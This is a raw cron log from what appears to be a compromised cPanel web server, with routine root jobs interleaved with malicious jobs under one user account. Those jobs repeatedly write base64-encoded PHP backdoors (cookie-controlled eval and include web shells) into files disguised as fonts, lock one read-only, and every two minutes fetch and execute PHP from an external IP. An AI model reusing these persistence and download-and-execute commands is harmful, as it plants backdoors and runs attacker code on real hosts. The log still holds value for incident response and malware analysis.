Sep 20 21:00:01 ip-184-168-122-23 CROND[8126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:00:01 ip-184-168-122-23 CROND[8128]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 21:00:01 ip-184-168-122-23 CROND[8129]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 21:00:01 ip-184-168-122-23 CROND[8136]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 21:00:01 ip-184-168-122-23 CROND[8137]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 21:00:01 ip-184-168-122-23 CROND[8138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:00:01 ip-184-168-122-23 CROND[8140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:00:01 ip-184-168-122-23 CROND[8142]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:01:02 ip-184-168-122-23 CROND[8395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:01:02 ip-184-168-122-23 CROND[8396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:01:02 ip-184-168-122-23 CROND[8401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:01:02 ip-184-168-122-23 CROND[8403]: (root) CMD (run-parts /etc/cron.hourly)
Sep 20 21:01:02 ip-184-168-122-23 CROND[8400]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 21:01:02 ip-184-168-122-23 CROND[8399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[8403]: starting 0anacron
Sep 20 21:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[8418]: finished 0anacron
Sep 20 21:02:01 ip-184-168-122-23 CROND[8546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:02:01 ip-184-168-122-23 CROND[8548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:02:01 ip-184-168-122-23 CROND[8552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:02:01 ip-184-168-122-23 CROND[8551]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 21:02:01 ip-184-168-122-23 CROND[8549]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:03:01 ip-184-168-122-23 CROND[8776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:03:01 ip-184-168-122-23 CROND[8779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:03:01 ip-184-168-122-23 CROND[8778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:03:01 ip-184-168-122-23 CROND[8782]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:04:01 ip-184-168-122-23 CROND[8941]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:04:01 ip-184-168-122-23 CROND[8943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:04:01 ip-184-168-122-23 CROND[8944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:04:01 ip-184-168-122-23 CROND[8945]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 21:04:01 ip-184-168-122-23 CROND[8946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:05:01 ip-184-168-122-23 CROND[9104]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 21:05:01 ip-184-168-122-23 CROND[9108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:05:01 ip-184-168-122-23 CROND[9114]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:05:01 ip-184-168-122-23 CROND[9110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:05:01 ip-184-168-122-23 CROND[9111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:05:01 ip-184-168-122-23 CROND[9115]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 21:05:01 ip-184-168-122-23 CROND[9112]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 21:06:01 ip-184-168-122-23 CROND[9294]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:06:01 ip-184-168-122-23 CROND[9297]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 21:06:01 ip-184-168-122-23 CROND[9296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:06:01 ip-184-168-122-23 CROND[9299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:06:01 ip-184-168-122-23 CROND[9298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:07:01 ip-184-168-122-23 CROND[9385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:07:01 ip-184-168-122-23 CROND[9388]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:07:01 ip-184-168-122-23 CROND[9387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:07:01 ip-184-168-122-23 CROND[9389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:08:01 ip-184-168-122-23 CROND[9551]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 21:08:01 ip-184-168-122-23 CROND[9552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:08:01 ip-184-168-122-23 CROND[9555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:08:01 ip-184-168-122-23 CROND[9557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:08:01 ip-184-168-122-23 CROND[9558]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:09:01 ip-184-168-122-23 CROND[9659]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:09:01 ip-184-168-122-23 CROND[9663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:09:01 ip-184-168-122-23 CROND[9662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:09:01 ip-184-168-122-23 CROND[9664]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 21:09:01 ip-184-168-122-23 CROND[9661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:10:01 ip-184-168-122-23 CROND[9767]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 21:10:01 ip-184-168-122-23 CROND[9770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:10:01 ip-184-168-122-23 CROND[9771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:10:01 ip-184-168-122-23 CROND[9776]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:10:01 ip-184-168-122-23 CROND[9775]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 21:10:01 ip-184-168-122-23 CROND[9779]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 21:10:01 ip-184-168-122-23 CROND[9780]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 21:10:01 ip-184-168-122-23 CROND[9778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:11:02 ip-184-168-122-23 CROND[9876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:11:02 ip-184-168-122-23 CROND[9878]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:11:02 ip-184-168-122-23 CROND[9877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:11:02 ip-184-168-122-23 CROND[9879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
